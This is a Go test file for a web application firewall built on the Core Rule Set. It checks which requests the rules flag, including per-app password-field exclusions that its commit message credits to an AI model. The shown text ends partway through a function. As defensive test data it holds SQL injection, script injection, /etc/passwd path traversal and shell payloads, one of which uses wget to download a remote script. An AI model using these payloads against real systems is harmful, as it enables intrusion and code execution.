sneak
dee803562f
check / check (push) Failing after 5m45s
Each app's sign-in, sign-up, password change and reset fields that had no exclusion now skip the 35 rules random passwords set off, on that app's paths and only when the query has no field of that name. Added gitea, Vaultwarden's admin token, WordPress pass1/pass2/post_password and its REST password, Drupal's forms and JSON, MediaWiki retype and password on the pages that take them, Mastodon's challenge, and Nextcloud's confirm, reset, change, share, LDAP renewal, encryption and OCS fields. Vaultwarden's clients send a hash, which needs no exclusion. Model: opus-5-5
2000 lines
65 KiB
Go
2000 lines
65 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"fmt"
|
|
"math/rand/v2"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"net/netip"
|
|
"net/url"
|
|
"os"
|
|
"path/filepath"
|
|
"reflect"
|
|
"slices"
|
|
"strconv"
|
|
"strings"
|
|
"sync"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
)
|
|
|
|
// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
|
|
// by default.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
|
|
|
|
// loaded holds, for each set of settings the tests have asked for, the
|
|
// function that loads the Core Rule Set with them once.
|
|
//
|
|
//nolint:gochecknoglobals // the tests share it
|
|
var loaded = struct {
|
|
sync.Mutex
|
|
|
|
loaders map[string]func() (*coreruleset.CoreRuleSet, error)
|
|
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
|
|
|
// loaderFor returns the function that loads the Core Rule Set with params
|
|
// once, making it the first time params are asked for.
|
|
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
|
|
loaded.Lock()
|
|
defer loaded.Unlock()
|
|
|
|
settings := fmt.Sprintf("%+v", params)
|
|
|
|
load, found := loaded.loaders[settings]
|
|
if !found {
|
|
load = sync.OnceValues(func() (*coreruleset.CoreRuleSet, error) {
|
|
return coreruleset.New(params)
|
|
})
|
|
loaded.loaders[settings] = load
|
|
}
|
|
|
|
return load
|
|
}
|
|
|
|
// shared returns the Core Rule Set with params, loaded once for every
|
|
// test that asks for the same settings.
|
|
func shared(t *testing.T, params coreruleset.Params) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
crs, err := loaderFor(params)()
|
|
if err != nil {
|
|
t.Fatalf("load the Core Rule Set: %v", err)
|
|
}
|
|
|
|
return crs
|
|
}
|
|
|
|
// sharedCoreRuleSet returns the Core Rule Set at paranoia level level,
|
|
// with the rules in disabled switched off. The set is shared with every
|
|
// test that asks for the same settings.
|
|
func sharedCoreRuleSet(
|
|
t *testing.T, level int, disabled ...int,
|
|
) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return shared(t, coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled})
|
|
}
|
|
|
|
// TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a
|
|
// WordPress request at once, many times over, on one Core Rule Set, as
|
|
// sww's server does. Each passes only while its own exclusions apply.
|
|
func TestConcurrentRequestsKeepTheirOwnExclusions(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const rounds = 50
|
|
|
|
crs := atDefaults(t)
|
|
targets := []string{
|
|
"/admin/people?user=docker-compose.yml&status=All&role=All&permission=All",
|
|
"/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3",
|
|
}
|
|
|
|
var inspecting sync.WaitGroup
|
|
|
|
for range rounds {
|
|
for _, target := range targets {
|
|
inspecting.Go(func() {
|
|
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
|
"http://git.example"+target, nil)
|
|
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
|
"Gecko/20100101 Firefox/131.0")
|
|
req.Header.Set("Accept", "text/html")
|
|
|
|
result, _, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
|
if err != nil || !reflect.DeepEqual(result, coreruleset.Result{}) {
|
|
t.Errorf("GET %s: %+v, %v", target, result, err)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
inspecting.Wait()
|
|
}
|
|
|
|
// request is a request a test inspects: its method, its target, the path
|
|
// and the query as a client sends them, and its headers, each written
|
|
// "Name: value".
|
|
type request struct {
|
|
method, target string
|
|
headers []string
|
|
}
|
|
|
|
// get is a GET request for target with headers.
|
|
func get(target string, headers ...string) request {
|
|
return request{http.MethodGet, target, headers}
|
|
}
|
|
|
|
// inspect returns what crs finds in r, sent to git.example by a browser,
|
|
// whose Host, User-Agent and Accept r.headers may replace.
|
|
func inspect(t *testing.T, crs *coreruleset.CoreRuleSet, r request) coreruleset.Result {
|
|
t.Helper()
|
|
|
|
result, _ := inspectBody(t, crs, r, "")
|
|
|
|
return result
|
|
}
|
|
|
|
// inspectBody is inspect for r with body, which is announced with its
|
|
// Content-Length unless it is "", and returns what crs read of body too.
|
|
func inspectBody(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
|
|
) (coreruleset.Result, string) {
|
|
t.Helper()
|
|
|
|
req := httptest.NewRequestWithContext(t.Context(), r.method,
|
|
"http://git.example"+r.target, strings.NewReader(body))
|
|
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
|
"Gecko/20100101 Firefox/131.0")
|
|
req.Header.Set("Accept", "text/html")
|
|
|
|
if body != "" {
|
|
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
|
}
|
|
|
|
for _, header := range r.headers {
|
|
// Go's server keeps Host and Transfer-Encoding out of the headers.
|
|
name, value, _ := strings.Cut(header, ": ")
|
|
switch name {
|
|
case "Host":
|
|
req.Host = value
|
|
case "Transfer-Encoding":
|
|
req.TransferEncoding = []string{value}
|
|
default:
|
|
req.Header.Set(name, value)
|
|
}
|
|
}
|
|
|
|
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
|
if err != nil {
|
|
t.Fatalf("read the body: %v", err)
|
|
}
|
|
|
|
return result, string(read)
|
|
}
|
|
|
|
// wantResult checks what crs finds in r.
|
|
func wantResult(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, r request, want coreruleset.Result,
|
|
) {
|
|
t.Helper()
|
|
|
|
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
|
|
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
|
|
}
|
|
}
|
|
|
|
// matched is the result of a request that the rules ids match, each of
|
|
// them a critical one, which adds 5 to the score.
|
|
func matched(ids ...int) coreruleset.Result {
|
|
const critical = 5
|
|
|
|
return coreruleset.Result{RuleIDs: ids, Score: critical * len(ids)}
|
|
}
|
|
|
|
// atDefaults returns the Core Rule Set as sww runs it by default.
|
|
func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
|
t.Helper()
|
|
|
|
return sharedCoreRuleSet(t, 1, defaultDisabledRules...)
|
|
}
|
|
|
|
// wantChange checks that crs lets through passes, a request one of the
|
|
// fourteen changes is for, and still finds result in refused, a request like
|
|
// it that the change is not for.
|
|
func wantChange(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
|
result coreruleset.Result,
|
|
) {
|
|
t.Helper()
|
|
|
|
wantResult(t, crs, passes, coreruleset.Result{})
|
|
wantResult(t, crs, refused, result)
|
|
}
|
|
|
|
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, r := range []request{
|
|
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
|
|
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
|
|
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
|
|
} {
|
|
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
|
|
}
|
|
|
|
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
|
|
}
|
|
|
|
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
pushType = "Content-Type: application/x-git-receive-pack-request"
|
|
fetchType = "Content-Type: application/x-git-upload-pack-request"
|
|
length = "Content-Length: 1024"
|
|
push = "/owner/repo.git/git-receive-pack"
|
|
fetch = "/owner/repo.git/git-upload-pack"
|
|
)
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantResult(t, crs,
|
|
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
|
|
coreruleset.Result{})
|
|
wantResult(t, crs,
|
|
request{http.MethodPost, fetch, []string{
|
|
fetchType, length, "Content-Encoding: gzip",
|
|
}},
|
|
coreruleset.Result{})
|
|
|
|
// Every other header on the Core Rule Set's list stays refused.
|
|
for _, header := range []string{
|
|
"Proxy: http://proxy.example",
|
|
"Lock-Token: token",
|
|
"Content-Range: bytes 0-1023/1024",
|
|
"If: token",
|
|
"X-HTTP-Method-Override: DELETE",
|
|
"X-HTTP-Method: DELETE",
|
|
"X-Method-Override: DELETE",
|
|
"X-Middleware-Subrequest: middleware",
|
|
} {
|
|
wantResult(t, crs,
|
|
request{http.MethodPost, push, []string{pushType, length, header}},
|
|
matched(920450))
|
|
}
|
|
}
|
|
|
|
func TestTransferEncodingIsRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// git sends a large push in chunks, with no Content-Length. Without
|
|
// Transfer-Encoding, that would be a POST without a length (920180).
|
|
wantResult(t, atDefaults(t),
|
|
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
|
|
"Content-Type: application/x-git-receive-pack-request",
|
|
"Transfer-Encoding: chunked",
|
|
}},
|
|
coreruleset.Result{})
|
|
}
|
|
|
|
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const attack = "id=1'%20OR%20'1'='1"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
// Coraza keeps 1000: an attack that is the 1000th is read, and one
|
|
// after it is not, but the request is a match all the same.
|
|
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
|
|
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
|
|
|
|
// So it is with the fields of a form data or JSON body.
|
|
crs = readingBodies(t)
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, strings.Repeat("a=1&", 999) + attack},
|
|
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
|
|
} {
|
|
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
|
|
}
|
|
|
|
for _, tc := range []struct{ header, body string }{
|
|
{formData, strings.Repeat("a=1&", 1000) + attack},
|
|
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
|
|
} {
|
|
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
|
|
}
|
|
}
|
|
|
|
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
|
|
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
|
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
|
|
get(oauth+"next=http://localhost:52341/"), matched(934110))
|
|
}
|
|
|
|
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, value := range []struct {
|
|
name string
|
|
// result is what a parameter that is not one of gitea's gets.
|
|
result coreruleset.Result
|
|
}{
|
|
// A file on the list of system files.
|
|
{".gitignore", matched(930120)},
|
|
// A command's name, after a directory on the list of shell paths.
|
|
{"bin/docker-entrypoint", matched(932260, 932160)},
|
|
} {
|
|
for _, parameter := range []string{
|
|
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
|
|
"artifactName", "redirect_to",
|
|
} {
|
|
wantChange(t, crs, get("/?"+parameter+"="+value.name),
|
|
get("/?q="+value.name), value.result)
|
|
}
|
|
}
|
|
|
|
// What only those rules refuse gets through there too, but path
|
|
// traversal and SQL injection are still refused.
|
|
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
|
|
matched(930120, 932160))
|
|
wantResult(t, crs, get("/?path=../../etc/passwd"),
|
|
coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20})
|
|
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
|
|
}
|
|
|
|
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
|
|
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
|
|
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
|
|
}
|
|
|
|
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
|
|
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
|
|
)
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
|
|
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
|
|
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
|
|
get("/", "Cookie: redirect="+redirectTo), matched(930120))
|
|
|
|
// Among other cookies, which are read.
|
|
wantChange(t, crs,
|
|
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
|
|
"; i_like_gitea=abc"),
|
|
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
|
|
"; i_like_gitea=abc"),
|
|
matched(930120))
|
|
}
|
|
|
|
func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const (
|
|
search = "https://git.example/explore/repos?q=env"
|
|
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
|
|
"java.base/share/classes/java/lang/Runtime.java"
|
|
stringMD = "https://git.example/owner/repo/src/branch/main/java.lang.String.md"
|
|
)
|
|
|
|
crs := atDefaults(t)
|
|
|
|
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
|
|
matched(932340))
|
|
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
|
|
get("/", "X-Page: "+runtimeJava), matched(944110))
|
|
wantChange(t, crs, get("/", "Referer: "+stringMD), get("/", "X-Page: "+stringMD),
|
|
matched(944130))
|
|
|
|
// It is still checked for script and SQL injection.
|
|
wantResult(t, crs,
|
|
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
|
|
matched(941110, 941160))
|
|
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
|
|
matched(942100))
|
|
}
|
|
|
|
func TestEmptyHeaderIsRead(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// An empty User-Agent is a notice, which adds 2.
|
|
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
|
|
coreruleset.Result{RuleIDs: []int{920330}, Score: 2})
|
|
}
|
|
|
|
func TestParanoiaLevel(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// Accept-Charset is refused from paranoia level 2.
|
|
r := get("/", "Accept-Charset: utf-8")
|
|
|
|
wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{})
|
|
wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451))
|
|
}
|
|
|
|
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A method not allowed, and a Host that is an IP address, a warning,
|
|
// which adds 3.
|
|
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
|
|
|
|
wantResult(t, sharedCoreRuleSet(t, 1), r,
|
|
coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
|
|
wantResult(t, sharedCoreRuleSet(t, 1, 920350, 911100), r, coreruleset.Result{})
|
|
}
|
|
|
|
func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
reuse := "?mount=sha256:0000&from=owner/python3-app"
|
|
|
|
wantChange(t, crs, get("/v2/owner/app/blobs/uploads/"+reuse), get("/upload/"+reuse),
|
|
matched(932260))
|
|
|
|
// A command after the image's name is still refused.
|
|
wantResult(t, crs,
|
|
get("/v2/owner/app/blobs/uploads/?from=owner/app;cat%20/etc/passwd"),
|
|
matched(930120, 932160))
|
|
}
|
|
|
|
// withExclusions returns the Core Rule Set at the defaults, with the
|
|
// exclusions file at path.
|
|
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
|
return coreruleset.New(coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path,
|
|
})
|
|
}
|
|
|
|
// exclusionsFile writes text to a file of exclusions and returns its path.
|
|
func exclusionsFile(t *testing.T, text string) string {
|
|
t.Helper()
|
|
|
|
path := filepath.Join(t.TempDir(), "exclusions.conf")
|
|
|
|
err := os.WriteFile(path, []byte(text), 0o600)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
return path
|
|
}
|
|
|
|
// backupFileExclusion is an exclusions file that switches 920500, a rule
|
|
// of phase 1, off for the path of a backup file under /files/.
|
|
const backupFileExclusion = `SecRule REQUEST_FILENAME "@beginsWith /files/" ` +
|
|
`"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"` + "\n"
|
|
|
|
func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs, err := withExclusions(exclusionsFile(t, backupFileExclusion))
|
|
if err != nil {
|
|
t.Fatalf("load the exclusions: %v", err)
|
|
}
|
|
|
|
wantChange(t, crs, get("/files/notes.txt~"), get("/notes.txt~"), matched(920500))
|
|
}
|
|
|
|
func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs, err := coreruleset.New(coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: []int{920500},
|
|
ExclusionsFile: exclusionsFile(t, backupFileExclusion),
|
|
})
|
|
if err != nil {
|
|
t.Fatalf("load the exclusions: %v", err)
|
|
}
|
|
|
|
wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{})
|
|
}
|
|
|
|
func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
_, err := withExclusions(exclusionsFile(t,
|
|
"# 942100: GET /issues/900123\n"+backupFileExclusion))
|
|
if err != nil {
|
|
t.Errorf("the exclusions did not load: %v", err)
|
|
}
|
|
}
|
|
|
|
func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
missing := filepath.Join(t.TempDir(), "missing.conf")
|
|
|
|
_, err := withExclusions(missing)
|
|
if err == nil {
|
|
t.Errorf("%s loaded", missing)
|
|
}
|
|
|
|
for _, tc := range []struct{ text, want string }{
|
|
{"SecNoSuchDirective On\n", "unknown directive"},
|
|
// sww's own rules may not be switched off or changed, by
|
|
// id or in a range, on one line or split over several.
|
|
{"SecRuleRemoveById 899999-901000\n", "names 899999-901000"},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n",
|
|
"names 899999-901000",
|
|
},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n",
|
|
"names 899999-+901000",
|
|
},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n",
|
|
"names 900500",
|
|
},
|
|
{"SecRuleRemoveById 899000-\\\n 901000\n", "names 899000-901000"},
|
|
{
|
|
"SecAction \"id:1,phase:1,pass,nolog,\\\n" +
|
|
" ctl:ruleRemoveById=9005\\\n 00\"\n",
|
|
"names 900500",
|
|
},
|
|
// The Core Rule Set's rules load after the file.
|
|
{"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"},
|
|
{
|
|
"SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n",
|
|
"SecRuleUpdateTargetById in the exclusions file",
|
|
},
|
|
} {
|
|
_, err := withExclusions(exclusionsFile(t, tc.text))
|
|
if err == nil || !strings.Contains(err.Error(), tc.want) {
|
|
t.Errorf("%q gave the error %v, want one with %q", tc.text, err, tc.want)
|
|
}
|
|
}
|
|
}
|
|
|
|
// An SQL injection, a script injection and a shell command after a ";", as
|
|
// query values. Every app's tests check that its fields still refuse the
|
|
// first two.
|
|
const (
|
|
sqlInjection = "1'%20OR%20'1'='1"
|
|
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
|
|
commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
|
)
|
|
|
|
// passwordField is the form data field password, ending in "=", in which
|
|
// several apps take a password.
|
|
const passwordField = "password="
|
|
|
|
// passwordKey is that field's name, without the "=".
|
|
const passwordKey = "password"
|
|
|
|
// retypeKey is the field in which apps take the same password again.
|
|
const retypeKey = "retype"
|
|
|
|
// hardValues are words that name commands and files, as a query or form
|
|
// value. An app's tests check that its fields let them through.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
|
|
|
// randomPassword returns a password of 20 characters, each one of the 95
|
|
// printable ASCII characters, space included, drawn from random.
|
|
func randomPassword(random *rand.Rand) string {
|
|
const length = 20
|
|
|
|
var printable []byte
|
|
for c := byte(' '); c <= '~'; c++ {
|
|
printable = append(printable, c)
|
|
}
|
|
|
|
password := make([]byte, length)
|
|
for i := range password {
|
|
password[i] = printable[random.IntN(len(printable))]
|
|
}
|
|
|
|
return string(password)
|
|
}
|
|
|
|
// rarePasswords are random passwords from randomPasswords' seed, found among
|
|
// the first 1,000,000. Each sets off the rule named beside it, which the first
|
|
// 2,000 do not set off.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var rarePasswords = []string{
|
|
"x)g|E0f)~.um%00G]<oA", // 920270
|
|
"uC?mK\\U2fEbXA}~j7fPb", // 920540
|
|
"4;yfIDKZYNtZT)(w-=%@", // 921200
|
|
"`sAIfEVdBprjxR$/.?\\d", // 930100
|
|
"Unt@1xza,:%j$/..;5y+", // 930110
|
|
"VN.CVsu^3vbUS==4Q&Y@", // 930120
|
|
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
|
|
" /\"j14y[%\\(iM]zmG%=^", // 932130
|
|
"\\f*q5v$]$IfS3JoY:*r1", // 932160
|
|
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
|
|
"pErl>vR[Z7K^<f%_4,WZ", // 932260
|
|
"){2P,GU}a3mYvjq^(p1^", // 932280
|
|
"xw4UGJk!-8#ZE(`.ij.O", // 932330
|
|
" XVw(2mN5R,+%~_f\"n<?", // 933100
|
|
"0ZK1D>`RHb+RW${/(z}C", // 933135
|
|
"Ep3!qqe 7$RT(_)@SLV6", // 933180
|
|
"&:4WomDrn$\"(SE_D);Ja", // 933210
|
|
"='nlIgN7ON\\\\mWt=Tr84", // 941120
|
|
"P]/C>Ef]F-<sV,&gs.[4", // 941160
|
|
"<!--a\"9Ju}r!2=J-kZDd", // 941180
|
|
"@`].*EJ?`Cw^8\\orD!(f", // 942151
|
|
"StTj*t:IF(Uq_<aG0mya", // 942230
|
|
"t,D-oJjnvL Dn!o::Int", // 942320
|
|
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
|
|
"`aV#3${J4,\\h.q' k\\${", // 944150
|
|
}
|
|
|
|
// randomPasswords returns 2,000 random passwords from a fixed seed, then
|
|
// rarePasswords.
|
|
func randomPasswords() []string {
|
|
const count, seed = 2000, 276
|
|
|
|
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
|
|
|
passwords := make([]string, count, count+len(rarePasswords))
|
|
for i := range passwords {
|
|
passwords[i] = randomPassword(random)
|
|
}
|
|
|
|
return append(passwords, rarePasswords...)
|
|
}
|
|
|
|
// passwordBody returns a body of r's type, form data or JSON, that sends
|
|
// each of passwords in each of names. In JSON, a dot in a name nests the
|
|
// field: pass.0.value is {"pass":{"0":{"value":password}}}, which Coraza
|
|
// names as it names the same field sent in an array. Coraza checks each
|
|
// value of a field on its own, and keeps every value of a JSON key sent more
|
|
// than once.
|
|
func passwordBody(t *testing.T, r request, names []string, passwords ...string) string {
|
|
t.Helper()
|
|
|
|
var fields []string
|
|
|
|
for _, name := range names {
|
|
if r.headers[0] != jsonBody {
|
|
fields = append(fields, formBody(name, passwords...))
|
|
|
|
continue
|
|
}
|
|
|
|
keys := strings.Split(name, ".")
|
|
|
|
for _, password := range passwords {
|
|
var value any = password
|
|
for i := len(keys) - 1; i > 0; i-- {
|
|
value = map[string]any{keys[i]: value}
|
|
}
|
|
|
|
pair, err := json.Marshal(map[string]any{keys[0]: value})
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
fields = append(fields, string(pair[1:len(pair)-1]))
|
|
}
|
|
}
|
|
|
|
if r.headers[0] != jsonBody {
|
|
return strings.Join(fields, "&")
|
|
}
|
|
|
|
return "{" + strings.Join(fields, ",") + "}"
|
|
}
|
|
|
|
// formBody returns a form data body that sends each of values in the field
|
|
// name.
|
|
func formBody(name string, values ...string) string {
|
|
fields := make([]string, len(values))
|
|
for i, value := range values {
|
|
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
|
|
}
|
|
|
|
return strings.Join(fields, "&")
|
|
}
|
|
|
|
// setsOffARule reports whether body, form data sent to / as a browser
|
|
// sends it, sets off a rule in crs.
|
|
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
|
|
req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
|
|
"http://git.example/", strings.NewReader(body))
|
|
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
|
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
|
|
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
|
|
"Gecko/20100101 Firefox/131.0")
|
|
req.Header.Set("Accept", "text/html")
|
|
|
|
// The body is read from memory, which cannot fail.
|
|
result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
|
|
|
|
return len(result.RuleIDs) > 0
|
|
}
|
|
|
|
// findMisfiringPasswords returns those of randomPasswords that set off a
|
|
// rule in the form data field password on /, which no exclusion names, while
|
|
// bodies are read. It runs once, for every test that asks. Each body sends
|
|
// ten passwords, and a body that sets off a rule is sent again one password
|
|
// at a time.
|
|
//
|
|
//nolint:gochecknoglobals // the tests share it
|
|
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
|
const workers, perBody = 16, 10
|
|
|
|
crs, err := loaderFor(coreruleset.Params{
|
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
|
})()
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
passwords := randomPasswords()
|
|
misfires := make([]bool, len(passwords))
|
|
|
|
var inspecting sync.WaitGroup
|
|
|
|
for worker := range workers {
|
|
inspecting.Go(func() {
|
|
for first := worker * perBody; first < len(passwords); first += workers * perBody {
|
|
last := min(first+perBody, len(passwords))
|
|
if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
|
|
continue
|
|
}
|
|
|
|
for i := first; i < last; i++ {
|
|
misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
|
|
}
|
|
}
|
|
})
|
|
}
|
|
|
|
inspecting.Wait()
|
|
|
|
var misfiring []string
|
|
|
|
for i, password := range passwords {
|
|
if misfires[i] {
|
|
misfiring = append(misfiring, password)
|
|
}
|
|
}
|
|
|
|
return misfiring, nil
|
|
})
|
|
|
|
// misfiringPasswords returns those of randomPasswords that set off a rule in
|
|
// a field no exclusion names. The rules that misfire on a password read its
|
|
// value, not the name of its field. So the other random passwords set off no
|
|
// rule in any field.
|
|
func misfiringPasswords(t *testing.T) []string {
|
|
t.Helper()
|
|
|
|
misfiring, err := findMisfiringPasswords()
|
|
if err != nil {
|
|
t.Fatalf("load the Core Rule Set: %v", err)
|
|
}
|
|
|
|
for _, rare := range rarePasswords {
|
|
if !slices.Contains(misfiring, rare) {
|
|
t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
|
|
}
|
|
}
|
|
|
|
return misfiring
|
|
}
|
|
|
|
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
|
|
// field name of r's body, is refused while bodies are read. r's Content-Type
|
|
// is form data or JSON. Only the passwords misfiringPasswords returns set off
|
|
// a rule in some field, so only they are sent, all in one body. If it is
|
|
// refused, each is sent again on its own, to name those refused.
|
|
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
|
t.Helper()
|
|
|
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
|
|
